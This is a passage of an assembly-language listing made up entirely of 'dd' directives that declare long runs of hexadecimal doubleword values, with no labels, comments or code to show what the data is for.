		dd 279B020Dh, 0A2E91797h, 6628D056h, 815AD100h,	0F43AF0E1h
		dd 0E6B6C060h, 1F5EEABh, 0C9CF719Dh, 50C9A5FCh,	96C24806h
		dd 81017F20h, 0AD3691CEh, 0E804E47h, 0E834CEBh,	0EBA21E9h
		dd 0B5515304h, 0E085B716h, 87A13B81h, 0E2F73F81h, 0EC3162D9h
		dd 17CBAFE8h, 8B7456C6h, 0CE593C8Bh, 6AC7E942h,	6E07D576h
		dd 9D0CF0D0h, 242E0634h, 0A70852A9h, 25452E30h,	7625DB54h
		dd 3EEC8347h, 0C044DD0h, 0BCE41371h, 0A44B2AFCh, 160F2616h
		dd 11016E50h, 5D020C90h, 0ECF9E958h, 0BF4D3457h, 2FD60A61h
		dd 0FF5EE222h, 0A7E48B82h, 0BF217C0Bh, 0E84C4BF0h, 11C700ADh
		dd 0E999BF50h, 0E1D94B0h, 0D6EDF831h, 4FFD7837h, 0CBA2F125h
		dd 0CD685780h, 7B4A946Ch, 34AB9FC0h, 417C24FFh,	0D94D1E01h
		dd 3FC17A2Ch, 0E944B05Fh, 8DBFB240h, 0DA4041E0h, 0BD8C2E88h
		dd 0F94A4B42h, 272C04E1h, 41801625h, 9D2D62E9h,	0D4873B9Ah
		dd 0B9D4E9C3h, 4B94124Ch, 7F50DDEFh, 0BB70ED8h,	0E85BE9C8h
		dd 0C3FE3024h, 89BFF48Dh, 3556B774h, 4B514E9h, 0F9FCC904h
		dd 689544EAh, 344F1325h, 20E916FBh, 0C001D7C3h,	1BA02B02h
		dd 2DC80CC0h, 3A013CCBh, 0A1AEE9D7h, 0E35765BDh, 0AE6800A7h
		dd 0E9210A75h, 0C9D04EFEh, 7FC07E0Ch, 0B57ECA68h, 4BA01916h
		dd 0CE2E2F20h, 1C24132Eh, 5E010820h, 3A58BD55h,	0CDF42C39h
		dd 0AC1D09E8h, 978FC105h, 6320C52Fh, 12E96D8Dh,	5A761192h
		dd 7EB5014Eh, 4E102230h, 14DD2882h, 0BC225C80h,	41ED472Ch
		dd 0DBECE0C2h, 6F1A87A0h, 0C2294827h, 850809FFh, 0EBE2A8EBh
		dd 0E8C10760h, 0C84B310Ch
		dd 0E35325CCh, 7E2B392Bh, 2E5BFDD8h, 827D38E9h,	79F6858h
		dd 85C94C56h, 8CE932C4h, 3DB81060h, 294C4422h, 1A5C026Fh
		dd 614B3A61h, 0A5430800h, 5ECD114h, 1EA57E9Ch, 5FE949FEh
		dd 90BAFCC0h, 0FF82312h, 69EA7240h, 2A8204CFh, 3BF7F5E9h
		dd 3EA7D031h, 96F7FBE2h, 4A08FE7Bh, 0DB93937Dh,	5A4FD880h
		dd 840B679Dh, 6C83B66h,	4E397CECh, 0F2A588C2h, 2517E305h
		dd 0CC4927Fh, 42298CEFh, 33906812h, 0D6FF5D44h,	44D345BDh
		dd 0C1535F32h, 3A12B349h, 4B79ECB3h, 2E7AE1ABh,	9F9AFEE2h
		dd 984BBD04h, 0B74F9811h, 60E759F4h, 81450C9Ah,	20575F5h
		dd 0EA89AB24h, 1A444C2h, 6628ED68h, 0DDF303A6h,	0ACE9015Fh
		dd 5E76E1A9h, 0AF1F1348h, 2AD41177h, 0A35E72F8h, 1BF48433h
		dd 0EFBD0313h, 0A38D3C1Ah, 0B6FC40B0h, 31DD3814h, 2DA01082h
		dd 83D0AC25h, 7E4AC77Ah, 2DBE6012h, 0F1DC6590h,	0C97C3DF5h
		dd 0F9C7AB58h, 4A6BEB63h, 0DD054310h, 0BE51582Dh, 0E0FBEB4Fh
		dd 9D0566C9h, 2D185BD8h, 18080CC6h, 2EAA170h, 0BAAEC82Fh
		dd 8590973Fh, 2CB5E956h, 0AFE18140h, 0F857057Dh, 50B601BEh
		dd 0F10907B3h, 0F347205Eh, 8A0F3B14h, 788C098Ah, 0CB6787FFh
		dd 7893AD2h, 3260402Dh,	70B44803h, 24730501h, 0F33140CEh
		dd 0EDB8166Fh, 0D8018017h, 0BE103B68h, 0D4D604Ch, 1EC11319h
		dd 2B1B685Bh, 0C0EC952Eh, 54C2B89Fh, 2D1D1601h,	0EAD3042h
		dd 0E2047D28h, 0C37801B7h, 0DAAA581Bh, 1245A052h, 45C7C06Eh
		dd 144BD60Fh, 3CF212C7h, 2F6EF22Ah, 7C290B5Ch, 70D29C00h
		dd 93987FD4h, 15257104h, 15C04D42h, 50971D5Dh, 0BD0CF34Fh
		dd 1906BAABh, 6780AD2h,	0E805EA2Dh, 10447E0h, 0D02941B7h
		dd 21C6895Ah, 3F8E6843h, 0A40517BAh, 78158209h,	0B017AD2Fh
		dd 0DD01FD7Eh, 0FB871606h, 9008DFF7h, 0D302F650h, 0F56AE18h
		dd 1BE9E102h, 0C12649Ch, 0DD0D57B5h, 23FC069Eh,	5B4F7BBAh
		dd 806BB18Dh, 38216CE8h, 1D940E97h, 564F6805h, 0AE8477A8h
		dd 0DA50ED7Ah, 128A9647h, 0BDF287E9h, 619E77F7h, 0F6CDFE00h
		dd 70C580DDh, 4BE87E39h, 0E6DB40E2h, 91685255h,	29C93209h
		dd 1807555Ah, 933591F2h, 0F4CAD906h, 30127631h,	354E9AE9h
		dd 24D7CB5Eh, 0FFB25C65h, 266D7050h, 1302220Ah,	0A063522Fh
		dd 0AE447C7Fh, 18409F7h, 4884091Dh, 8AD3A8F1h, 55426F54h
		dd 0C3807D56h, 26E9726Bh, 0D40E6295h, 0BBF253D9h, 7627F97Eh
		dd 0FA133C17h, 82E7B425h, 27647DF4h, 4DD01C89h,	75FF809h
		dd 0CD3D0B35h, 6B0EF9E1h, 0E069FB72h, 838F342Fh, 8E00E5DBh
		dd 21347FB8h, 4BA2D6Bh,	2931D6B4h, 0C929C0C1h, 510A479Ah
		dd 98DCE975h, 0DFBA5280h, 50F0414h, 595F8DBEh, 253BEC48h
		dd 2FE4D231h, 0B50C2E9h, 9DBACEBFh, 0E915ECE6h,	4C387ADh
		dd 35756892h, 0C642F78Dh, 0C2B85601h, 0C75502E6h, 918B12B3h
		dd 2A208F08h, 4E6033CDh, 3C588FEh, 0BE6A9109h, 0FDE5409h
		dd 640180CAh, 555BE94Eh, 0E073BCC3h, 3988535Ch,	0FABA52D7h
		dd 1875489h, 6C2507C5h,	0A8049849h, 1DF82C12h, 3D04F028h
		dd 0F9AE9397h, 2C486A5h, 4BBCFE37h, 9F7AA303h, 581D1798h
		dd 0A2145B87h, 26F1D1D7h, 46AD8E1Ch, 60214111h,	0EA40FC0Ch
		dd 500713B2h, 48E50BB0h, 0E077DEE2h, 2F721FBBh,	0F8096FF9h
		dd 5F14C680h, 0EC02DFEh, 0E25561EDh, 0EE050578h, 0BB209D2Bh
		dd 37070710h, 96F0105Dh, 9F45167Dh, 7BE93F98h, 0A4887A5Bh
		dd 0E0D38078h, 0A46716B5h, 7050703h, 500ED64Ch,	3DC570EDh
		dd 83404D90h, 5831905Dh, 33E3101h, 0B0A4E2Dh, 0A7923B8Ah
		dd 0FD3BC9C5h, 597A34F7h, 98B4EB98h, 16231740h,	8B0CC155h
		dd 3120C263h, 1E44A6h, 42BF5708h, 544CD25Fh, 28090708h
		dd 0D755344Dh, 353F7EB9h, 10B8908h, 0C616E624h,	6858F630h
		dd 0FC649ADAh, 0A68E4BA3h, 2F94675h, 0CAE9F030h, 0B193CB31h
		dd 0CD90B972h, 7F6E122Ch, 0BA8161EAh, 7A316F39h, 243B5B4Fh
		dd 5B73F6F0h, 654B0DE5h, 0BBEC150h, 523E2165h, 56CA2C00h
		dd 81A05C3Ah, 1F0B5E3Ch, 0E11DE968h, 0EF39018Eh, 371ED9Ah
		dd 5AE91F4Ch, 0B12007C0h, 228979D4h, 48232FF3h,	2582E909h
		dd 93852115h, 2C3E1082h, 54F253F8h, 0BA7D7054h,	10F4125Ah
		dd 1EE29FE5h, 45ADC5C5h, 15286AB5h, 1DC4B3D1h, 60DBEF6Ch
		dd 0BE85754Ah, 6DE90920h, 5F4ECBF6h, 0C8CAB782h, 2180B0D1h
		dd 0DB0B5DEBh, 0A185260Fh, 55508BBEh, 10AFFA84h, 288005C8h
		dd 6CFD69EAh, 0E91FB6C0h, 0DB74F779h, 76A57824h, 0D51A1B42h
		dd 21105193h, 0B9039243h, 9EE0FF9h, 260D1E2h, 0BA0C19FBh
		dd 2EE5C14Bh, 0A0455BD5h, 55C916A0h, 22817DFEh,	4BFD88B8h
		dd 232C09F6h, 92FD8E28h, 496E9FCh, 0CC3542A6h, 689F5BB7h
		dd 0B61D3F63h, 0D8E9C1CBh, 2A632F05h, 60FAFDBDh, 2322E93Ch
		dd 0F12B5881h, 0C72C6ABCh, 5B80400Dh, 4B6BF895h, 316CC0A8h
		dd 189591F9h, 0E86857D0h, 644C052Fh, 0EA0DD0E9h, 0D4669432h
		dd 4A01CA7Fh, 4D3300AEh, 0C6E94105h, 95E1A92h, 0D39FB2h
		dd 4458573Fh, 5EB8425Ch, 0E762E912h, 0C20059C9h, 0F9B25ACFh
		dd 1DD04131h, 0E9491347h, 3191E1EFh, 0DEF22EF4h, 2D0A4D7h
		dd 7BEE8B95h, 1114096Fh, 0B4956A48h, 90894D9Bh,	0B27E7964h
		dd 977D591Bh, 8F3274Eh,	7847E909h, 0ACB309BAh, 0FFCD328h
		dd 68E1E950h, 0E43124B1h, 132E1083h, 8FAC6A2Dh,	0B4C68913h
		dd 0DD09EE1Ah, 779573A1h, 5153E180h, 2F138A68h,	0A9A87A55h
		dd 0E653DD77h, 0E2D92D1Bh, 519AB781h, 8C4292B5h, 3046D506h
		dd 1A4CAE90h, 20DCD49Dh, 4CB9A0DEh, 37AC3D61h, 80EEA6AEh
		dd 0F3192BB9h, 0CA48896Fh, 353113B8h, 0C966EB9Ch, 8C0E1070h
		dd 0BCDD59C9h, 0B6875ACDh, 0F1CA25E8h, 0F4B487E3h, 28F52280h
		dd 82F02040h, 5CB25280h, 297A5803h, 17F1EA04h, 7D8AB287h
		dd 75C38FDh, 840FC23Bh,	104062ABh, 0C220B831h, 0B13EE98Bh
		dd 96252564h, 72D674C2h, 910B38Fh, 7B501668h, 1AF9180Eh
		dd 8F4ACD80h, 55F5EE07h, 9FACC386h, 3811E28h, 188B6FE8h
		dd 8B5FBFDAh, 0CB21593Ah, 28A507B4h, 0F061E986h, 0CB8DE4Dh
		dd 8C99F7Ch, 0EE6585Ah,	0C4109694h, 0B0B34AAAh,	8BC1347Bh
		dd 6EACDD16h, 0BD7AB481h, 2C0A951h, 0E9A1373Ch,	0BF2D34E4h
		dd 2C308109h, 13E5DE2Eh, 0CB64AE89h, 0A985A9ACh, 0C54301A0h
		dd 702C7B5Fh, 601DF13Ah, 0C78013A2h, 3EE53D2Dh,	0B630ED29h
		dd 28408212h, 37F236DFh, 0BB52E883h, 0CE5EC10h,	75EA7832h
		dd 1DF41818h, 0C4FD024Fh, 6395F50Fh, 0AF1E6A8Ch, 80D25C16h
		dd 95FAB1Ch, 5E8B0AA4h,	0DAE05C2Dh, 0D7280D59h,	0D800C391h
		dd 6AC8BE56h, 952DF691h, 57A8AE6Bh, 7A02812Fh, 0BC68F001h
		dd 8206796Dh, 63624260h, 0D85662C8h, 0F49ABD80h, 5C175BF8h
		dd 6244C360h, 0CDB05630h, 9D043166h, 2BAAE935h,	5A102EB3h
		dd 0CDD75E26h, 0E5D00A92h, 45973D19h, 90CBB8D5h, 0C6CC2FC7h
		dd 0DF7B3530h, 5BC0A310h, 25C9F60Fh, 22AB39BDh,	0C906CD1h
		dd 4692B2E9h, 61DA6816h, 4B828337h, 808A5165h, 2ECA61DDh
		dd 0B709C3B8h, 0F505DC4Eh, 0E801DFA2h, 8BA96661h, 4CB294Ch
		dd 4A09358Eh, 94ABDD09h, 83C6BCF9h, 9FE92F0Ch, 0DAC57068h
		dd 0D41CA507h, 28D3EA01h, 2BA712BFh, 0CEF6126h,	0B7BF009Ch
		dd 0BE732D45h, 3A01DAC1h, 40167F9Ch, 0F7484F76h, 0C7372AFCh
		dd 540CB800h, 0A70D5B08h
		dd 234E1627h, 93BF00F7h, 53F823Ch, 10C2EB09h, 8E6E2656h
		dd 0A35E5E4Bh, 5E8CD6E1h, 5A8C2968h, 41539EA5h,	12433248h
		dd 12DDCE5Bh, 26D7CDCh,	1136572Bh, 8A0977Ch, 7B27609Bh
		dd 5EF30966h, 64E943A2h, 9A0537EAh, 3B53F772h, 0EC605A83h
		dd 0A67F6968h, 0EE912FCh, 0C90EA8CEh, 93E5D810h, 5AD50935h
		dd 318573D9h, 511566C3h, 2F90136Fh, 0E21731BBh,	10B73DE4h
		dd 0E85171DAh, 0C3171088h, 50EB0438h, 8BA819B0h, 0A4CF347Fh
		dd 0B56F912Bh, 3A633D2h, 611F4BBFh, 34E6034Ch, 472A4E3Ah
		dd 0A6840E17h, 780A4A12h, 0F18185F3h, 552657EEh, 7ACE027Ah
		dd 2ADC6CF2h, 0FADF0109h, 81344459h, 762CD4FBh,	60CE1D50h
		dd 0FD717D00h, 68E9DD89h, 0D8A4BDE8h, 8A5E43Ch,	67BCF44Bh
		dd 24DFB8E2h, 0D095316Ah, 4F468BAAh, 0B892CAA8h, 0ADF1202h
		dd 0C93B28ABh, 5D285B81h, 5EC6814h, 0BD9A1825h,	0B5A2E004h
		dd 65B8DD61h, 33AAD0CDh, 0C5457D24h, 29A66925h,	494DE9D8h
		dd 638401F0h, 5E5E0B97h, 8C6E0C50h, 0D25FCC18h,	7B8DCE46h
		dd 317DB0F7h, 4CA4BCFh,	8E273F2Bh, 0E70DED3h, 3316BB26h
		dd 0D93123C1h, 0E9C1515Bh, 58BB28A2h, 6DE8B7CAh, 0C9D5787Ah
		dd 84E7045Bh, 856874FFh, 14CE86E3h, 1D70F516h, 0BF13E0Dh
		dd 68C6E13Fh, 4CAE46ECh, 0EE092DD0h, 54B4F605h,	73169D8Dh
		dd 0F7410071h, 0C70548D8h, 76047C7Ah, 6E8C140h,	8ABFC1AEh
		dd 9953023h, 0A8C0C74Fh, 8D259Fh, 900D4863h, 559C54Fh
		dd 473A69F6h, 99569F74h, 3229DDCCh, 0AA619B31h,	0FB619DB2h
		dd 2CEFAAF7h, 0DD895750h, 0BA8E39B7h, 8150BDB8h, 6F033E71h
		dd 46C6811Fh, 3A1B1D01h, 9706642Ah, 0FFF2C35Fh,	8882F3C4h
		dd 8B9F0FDCh, 0CC81D3C9h, 2940B356h, 1D640668h,	9D58207Ah
		dd 0F951CFCh, 6001372Dh, 9594903h, 806AD02Ah, 612D3D1Fh
		dd 0D8AEA042h, 0C02F3752h, 983B73C6h, 0E9394E35h, 5F486515h
		dd 0B8D748A2h, 0A4626082h, 0B5497F3Ch, 7E431E8Fh, 0C035529h
		dd 70776AB2h, 4202E1C1h, 0E18D2C6Bh, 20F79402h,	0F6994FE9h
		dd 0CAF85039h, 98EF0180h, 25BB023Ch, 2C8B4CA4h,	0B0B24D75h
		dd 7FA0B9A4h, 49583302h, 0D508CBE9h, 0E220501Eh, 0A2FE5C9Fh
		dd 7AE18B27h, 67BC6004h, 6E7341h, 76685019h, 54C56D55h
		dd 0C4C81953h, 0BF621225h, 0E58BB07Fh, 0BB2469E0h, 0D9017431h
		dd 0E9427646h, 5B02E8D9h, 58093C57h, 244E6068h,	9ADCAF47h
		dd 2DBDDD5Ch, 0BA016BF3h, 1C2C3D79h, 4E27E9D8h,	75FD1CFh
		dd 0CB058A5h, 0A5B531CFh, 0C8AE5F75h, 269F21B4h, 63101C3Dh
		dd 7A990CFEh, 46DC3692h, 1608EB14h, 0C8C371E9h,	13665F54h
		dd 8B9F9DD1h, 6E19DC82h, 0B2585BA9h, 68FA2729h,	8A1A75E5h
		dd 0EC1CB58Ch, 1CF60A5Eh, 6A94D71Ah, 0F70C6ADEh, 2ADA6DBh
		dd 0E9470EF3h, 37A90FF0h, 97E8B711h, 8575F65h, 671401A7h
		dd 0EF85082Ch, 0C367BF87h, 5355803Eh, 0F0677DBBh, 9500952Ah
		dd 0E97F4441h, 4DEED42Fh, 0DABC24CEh, 5E7D8990h, 547AFB24h
		dd 0A01D3900h, 171605EFh, 1A44B579h, 8027CBDh, 89DE1FE9h
		dd 4FBF2D0Fh, 5B05417Ah, 7B30E055h, 2C1E30D8h, 24538814h
		dd 28CA714Ch, 45EB072Dh, 8F2A8311h, 0F7804A1Dh,	0EC22D566h
		dd 3A88BCB6h, 0DEC227E8h, 0C2A7A7D5h, 4FA6D649h, 3255146Bh
		dd 21E57D99h, 9530AEA2h, 55AEBBD8h, 0F12F4C70h,	12350200h
		dd 890B18E7h, 0C0BB54C0h, 4E0F6A43h, 4EA0E631h,	0D540C9B2h
		dd 12E8951Fh, 0BE0B66DDh, 0FD0F777h, 25C0E524h,	0B35E9BF7h
		dd 0E9CD0477h, 0ED13B020h, 352C9222h, 0E4099AE9h, 0F0C2EDACh
		dd 0A8535AFDh, 0AAAB10DFh, 4EEC10Eh, 8103E663h,	0B71E94B0h
		dd 6A13314Fh, 0ABB581BDh, 0F18BBA99h, 30C1C9E9h, 0E43730ADh
		dd 6FDF0D0Fh, 3ADBAE50h, 5682372h, 1541F00Fh, 2DC82801h
		dd 0E1595807h, 0FA48E9A0h, 0E9D0C69Ch, 1D12947Bh, 0DD9B895Eh
		dd 9C20EC72h, 3900B5D1h, 0E76365EDh, 722C415Fh,	5AF5A923h
		dd 67CAF0h, 57010E55h, 8ED5F3BFh, 7E29A12Dh, 0F1D61ACAh
		dd 5F724E79h, 2106ADC5h, 20AC1C77h, 7D98CB8Ah, 5C5E1B5h
		dd 4410B979h, 875F12C5h, 0B811522Dh, 7F25E3DCh,	2F42066Bh
		dd 4CB7106Ch, 7AC14C2Bh, 0D3F652h, 0BA194114h, 44905830h
		dd 0DE7744C4h, 2BA5A0Ch, 0AA5CCAB8h, 0F6229EADh, 0AECC54D1h
		dd 365951CAh, 0D2F33830h, 0F616BF19h, 937EAED9h, 941F6Fh
		dd 0DD8E281h, 8812C445h, 107AED76h, 680BFEE7h, 0B0C64856h
		dd 990A430Bh, 648C7E5Bh, 2C11E852h, 2012605Ah, 4A5D4E32h
		dd 8B9EDFC4h, 0EC57AC8Ah, 5C3FA65Fh, 0A74BC1FAh, 76E9C48Eh
		dd 5450B891h, 5CBA272h,	9C99A18h, 0FC6EC286h, 0D6C04C77h
		dd 6BBE7545h, 0E93BADBBh, 947FEA19h, 0D2618781h, 8EA2C472h
		dd 0FE2C4FC8h, 757B9054h, 0A514D382h, 6910CC18h, 0F70747FAh
		dd 3B951D3h, 0FC0518C2h, 0ACF027F8h, 1008AEB9h,	0E82802B7h
		dd 0E17DB252h, 0EACC2025h, 0C92C3EB5h, 6651D080h, 889FB450h
		dd 0EDF0E55Eh, 505670F5h, 6714F1E8h, 76CBCD6Fh,	5D4955D6h
		dd 0B58AC4BBh, 82888A17h, 0E4A2BBE9h, 9A5D2015h, 6C685125h
		dd 0BD595783h, 87585600h, 60292D25h, 0AF086928h, 0CA0747F9h
		dd 0E9591311h, 504A89DBh, 0CA799F72h, 27035CA7h, 1E4F2454h
		dd 4CEC6E52h, 21BA08C5h, 6B193108h, 13C4B23Ch, 0AA437B5Ah
		dd 605E2F22h, 0A5C03097h, 737EA597h, 245833ECh,	8415C8E9h
		dd 0AAE7F280h, 48175C0Bh, 0B0D2F778h, 7D13658Dh, 0D5BCC1E3h
		dd 6C9D6B10h, 421DB20h,	0E9137D5Eh, 0D8B841h, 8F0BE3BAh
		dd 1292BB68h, 0FCE1DA4Fh, 0CE9821Bh, 995FB2Dh, 73F35067h
		dd 0B3C8EA24h, 482AD902h, 0CC9503Ah, 50356A54h,	2F0F9C80h
		dd 93315860h, 1DA98404h, 2715CEEFh, 897FD98Fh, 0F7A6E4E9h
		dd 920084BFh, 0EDF7817Dh, 0B8710E7Fh, 4A970C56h, 5D182708h
		dd 16D13F17h, 945F52A8h, 0CD07FBF4h, 55C76268h,	13AE0267h
		dd 5BC363CCh, 0A6E5F2F8h, 77799F9Ch, 0FF888E42h, 19E54F22h
		dd 0F1217709h, 6869ED68h, 69EF9313h, 0ED2D489Bh, 285A919Ah
		dd 724A1FCh, 0E4EB0CC2h, 0E913C052h, 8A9D6FB0h,	0EC45A06Eh
		dd 76A4E74Bh, 0EB111D21h, 8CE1330h, 2D017ECDh, 2A526B28h
		dd 19A3622Eh, 5E014876h, 975BDF89h, 1C14C12Eh, 0D28E2DD1h
		dd 0E90AA4B2h, 0AC9C8711h, 296E826Ch, 69DD5FF0h, 0BD605935h
		dd 0E90CA0EAh, 201E4BF8h, 796856C4h, 12A91717h,	71CE4E00h
		dd 9864A572h, 141C0316h, 3684F3Ah, 0BB0B38Ch, 280417Bh
		dd 0D5A523AFh, 0EB9F0D9Bh, 0BA80B59h, 723F3A0Eh, 0D606D717h
		dd 0B4A29A2Fh, 279109BBh, 81E0ACA5h, 7C3D08Ch, 47D7F7E0h
		dd 2DCF7B87h, 0E1946D6Ch, 4E76BB5h, 7D7BF0ACh, 94D7FF60h
		dd 74A81ED1h, 788FCBF8h, 0BD2B7C33h, 0D69F19Bh,	0AAAC0430h
		dd 85C72904h, 8852BE6Ah, 0F6B31F92h, 0E006BF8Eh, 0CE2D2757h
		dd 1C0F4A09h, 177A09h, 0FBCFDE20h, 0B6E9FE21h, 516E849Fh
		dd 0CFE2CCBAh, 89166595h, 36E949E9h, 9EC2FBEEh,	0F32DFB7Ch
		dd 0BED46BB4h, 82705C51h, 54C3AAFCh, 0FB496FBEh, 0E253155Ch
		dd 0DF01CA1Dh, 2A64C88h, 4A21356Bh, 0DEE6A7Fh, 0A52E0C08h
		dd 0CE382060h, 7D137071h, 61C515E9h, 0F41F0904h, 0F204B152h
		dd 0C1A41BF5h, 343A75A3h, 0D3BDA8ECh, 55F4D709h, 8566AA38h
		dd 0E95CC840h, 621DB72Ah, 1897F74h, 73623068h, 5250346Ch
		dd 0DA01C353h, 38A741BCh
		dd 174B0B20h, 0B815133Fh, 0A93301DFh, 0D829622Bh, 80F0C470h
		dd 581F15BDh, 60273DC4h, 7A4DC234h, 1AD0406h, 0EC515AD1h
		dd 0CCE9A030h, 8B229DE8h, 5F0BD544h, 0D1B0BC25h, 0CAF731E6h
		dd 69E01440h, 7F228B9Dh, 0B4A2201Eh, 82D7DF12h,	55A89BF2h
		dd 19208B6Eh, 0FC2BD27h, 0B8C0CF18h, 0E8E2D180h, 3BC3A077h
		dd 5A37C541h, 0B638B4DCh, 26688740h, 679C445Bh,	3B609750h
		dd 0AE92082h, 58022F78h, 3C0B8E2Dh, 501F5635h, 2D02D8F7h
		dd 6BD0A032h, 0AAF45631h, 90EE29B9h, 0AAF01E5h,	7A412AAEh
		dd 8A537B90h, 18225E1h,	9CC23771h, 301C57E5h, 58096825h
		dd 68F693ABh, 60C2A9D4h, 0D7E95752h, 7DE3C44Ah,	4EA67310h
		dd 3DF660A8h, 0AB606197h, 999FC82Dh, 7B56C1CEh,	0F04AEC9Eh
		dd 0ADABFF93h, 2265F4A9h, 0F0A21B21h, 8B49E417h, 97FB6F10h
		dd 12B1CC97h, 0A32A4768h, 13115232h, 6B8BE829h,	50895010h
		dd 0F494054Fh, 0EBF5BA00h, 0F3192EDh, 0DD015AD3h, 0FABCB7E4h
		dd 63825727h, 88245CE2h, 0B4287554h, 2D539608h,	5B2A030Eh
		dd 0EBE01E5Fh, 0A62F3341h, 1009DEh, 8304D22h, 2616B67Bh
		dd 251D02AAh, 37606C3Ch, 88171918h, 251809F1h, 55E90524h
		dd 0B43B88D2h, 5B0BF723h, 0E5CCF42h, 8D1ED17h, 0F4558F07h
		dd 24DC5DA9h, 6B0808F1h, 30BA2D13h, 0BF5787D0h,	0E906A2BFh
		dd 0F61BD03Ch, 5AE8EE54h, 2ADB3B9h, 63564A55h, 0A694029h
		dd 0FC1FD381h, 24BC4F8Bh, 832CBBB4h, 71A61C2Dh,	0F8018BB1h
		dd 21281600h, 0FBBC7F1Bh, 230A561Eh, 411ECEC1h,	0DB5187BAh
		dd 9AF56ED1h, 12404ECh,	9214EB4Dh, 44FEDF27h, 515CA91Fh
		dd 0FD24E12Ah, 4BCC7C75h, 0B04FB9F8h, 1B4AB21Eh, 4CC590ECh
		dd 0C1BA4BEAh, 0F948DC78h, 3F96244Dh, 611349EFh, 0C142663Fh
		dd 255C7421h, 96C29FF4h, 0BDCC948Dh, 740E5F22h,	598BF651h
		dd 0CE94E9C5h, 307C09CCh, 0BC0E4677h, 0D7D5347h, 7FFBF61Ah
		dd 7D405F02h, 5B9FFA01h, 874125E1h, 2FA12505h, 0D4F5FC74h
		dd 0BC97552Dh, 0E268B0F5h, 0A4EDC52Dh, 0C805BC14h, 9D42A87Dh
		dd 74047E3h, 913B7E5h, 0EE82C26Dh, 8BD5489h, 0F18F6F02h
		dd 1023375Eh, 9852ECC7h, 0BE4AC695h, 162F1CD9h,	65D3099Ch
		dd 13D73089h, 0FAF82F3h, 0B30916A6h, 0D8C2784Fh, 88354353h
		dd 905B5D52h, 330CEA2Bh, 8B26070h, 27201204h, 24A98FACh
		dd 3B074910h, 0CB0C2752h, 3EBBE0C3h, 9064762Fh,	174518D5h
		dd 329A401Ah, 89AD880Ch, 604D5CAh, 0E9642756h, 0B93F9379h
		dd 33803AFh, 8172A2BAh,	30A8297Ah, 937490EFh, 0C9E9629Eh
		dd 529162D0h, 555BDF04h, 812B79CDh, 819B1C66h, 78BBBF5h
		dd 826A5F09h, 0F061086Eh, 0C19507E8h, 14A09EF0h, 9127C60Dh
		dd 34479B03h, 945B3130h, 790FED0h, 8278667Ah, 0CE693FF6h
		dd 0A7A3F4A2h, 1D99A0C6h, 0ED103CA4h, 63032575h, 18C43A09h
		dd 0A9A3F1E6h, 38AF0AD0h, 0C7F65E5Bh, 0ADADFF12h, 3B7107D6h
		dd 3EB20296h, 0C3C5AF0h, 34DD32EEh, 54F2AD22h, 250D445Ch
		dd 965BCE92h, 0E984CF7Dh, 52DB051h, 2132691Fh, 72388EDh
		dd 0CA55E905h, 0F8B74BBEh, 2309075Dh, 5960CE07h, 0CE02E6C0h
		dd 0EEC00306h, 7098E906h, 0BB4033B6h, 0C1F0A17h, 0D3F74B22h
		dd 9AB3C2EAh, 0D535C2A5h, 0DBAFDAE7h, 4E024492h, 0B29A6AE9h
		dd 0F962518Ch, 2802FCC6h, 0FAD57388h, 0B557B2B8h, 75717692h
		dd 6803696Ah, 0A13F050Ah, 357613BCh, 0F0C4224Ah, 3C520469h
		dd 1812939Dh, 86BA1B82h, 5B7A5715h, 5BB6E279h, 0E986E2F2h
		dd 0E393235Bh, 1E6889BDh, 0F0C46647h, 1890306Ch, 1D08C2A8h
		dd 2A2155Dh, 1B360EC9h,	2A05414Eh, 16FE7BC8h, 815FF929h
		dd 41C38351h, 7FD2FEAh,	0C234C0F1h, 0D2F6E5C3h,	17D134Bh
		dd 0A7E9872Dh, 0EF9F9361h, 0DC314FB5h, 0BC5B523Ah, 0FD581991h
		dd 223E0A16h, 6801843Ah, 352B0EDAh, 0EA32BA06h,	5D6D2D4h
		dd 3C778805h, 0E9CD2153h, 588024D5h, 64832C95h,	2D9B74CEh
		dd 0F87C0511h, 1092D80h, 27680F24h, 6E463A08h, 5C12855Fh
		dd 1AF8D213h, 48FDFD5Bh, 0E8F5025Ah, 73515B91h,	0F84B0936h
		dd 6062E4D6h, 6B73D6C7h, 7E2717F4h, 90415A6Dh, 31CC2F61h
		dd 0D6EF9F53h, 20AECC2Dh, 8102A493h, 833CBEC2h,	0FF495D61h
		dd 5F843FEFh, 0C50867BBh, 5BCE0CDh, 2D1A853Ch, 20EFD646h
		dd 0C35B4E07h, 0C74E122Eh, 7861C449h, 0FA169D3Eh, 88275195h
		dd 5B1360A5h, 0AB87CED5h, 0C32C22FEh, 0B8B4C151h, 25807B2Ch
		dd 3542684Bh, 53F5FAFAh, 0AAB9C5C8h, 0C3DF96E7h, 8FAE4BFAh
		dd 6570B6E3h, 285BDE09h, 9C2786E6h, 0FFD19D2Fh,	4D1D531Fh
		dd 0A7EC71EFh, 0D3B54DEEh, 6E10C298h, 0A834EEA4h, 0B0D58E53h
		dd 0EE8C10Bh, 0B4937A87h, 5A37A8AEh, 0E3D23BE2h, 0A0B20013h
		dd 8008EAC0h, 0B5A34FC2h, 3C9F011Bh, 34B8009Dh,	0CA495054h
		dd 0A88B9F10h, 13201370h, 5AD89011h, 1D8A317h, 0E97EAA50h
		dd 0CA6F6556h, 0D69015E6h, 7D3F84E8h, 80D3021Ch, 0E4290EBh
		dd 9E2BAC77h, 74F20581h, 0EB6A7301h, 0D342714h,	0DE1A330Ah
		dd 7E715BFCh, 0FD68B596h, 0FA829F63h, 8802FA68h, 1B62A768h
		dd 1E63E8Bh, 285A8404h,	6B175BAh, 42D2CD1Dh, 1EB5DC4h
		dd 687DFEBh, 5C50A7C0h,	86E98B6Dh, 0F58061A0h, 0C503FE4Dh
		dd 0F66DB252h, 0E0C2BBD2h, 5EE96BCAh, 0BD12801Fh, 6F27064Bh
		dd 0EE6C523Ah, 1C52E83h, 49D62C03h, 6AE67358h, 82DC3628h
		dd 32C7CB05h, 0FAF2C18h, 98FC31DFh, 874E08DEh, 2E2482EFh
		dd 40359720h, 25048556h, 2D748060h, 0B555B2Dh, 5745CEABh
		dd 2009CF08h, 40C605ABh, 0FE7B663Dh, 5F08A750h,	82F46688h
		dd 1D8048C0h, 4246A91Fh, 5DB58B0Ch, 292DBFC3h, 77D67E0Ch
		dd 4B41380Ch, 0E65D6F17h, 881521EAh, 0EA815EC4h, 1D485DD0h
		dd 0EF67A43Ah, 13F8EB80h, 0B95FD209h, 79084143h, 0CBE913DFh
		dd 136866C0h, 6267B47Ah, 610EBDEDh, 7558B4CAh, 95E43BE8h
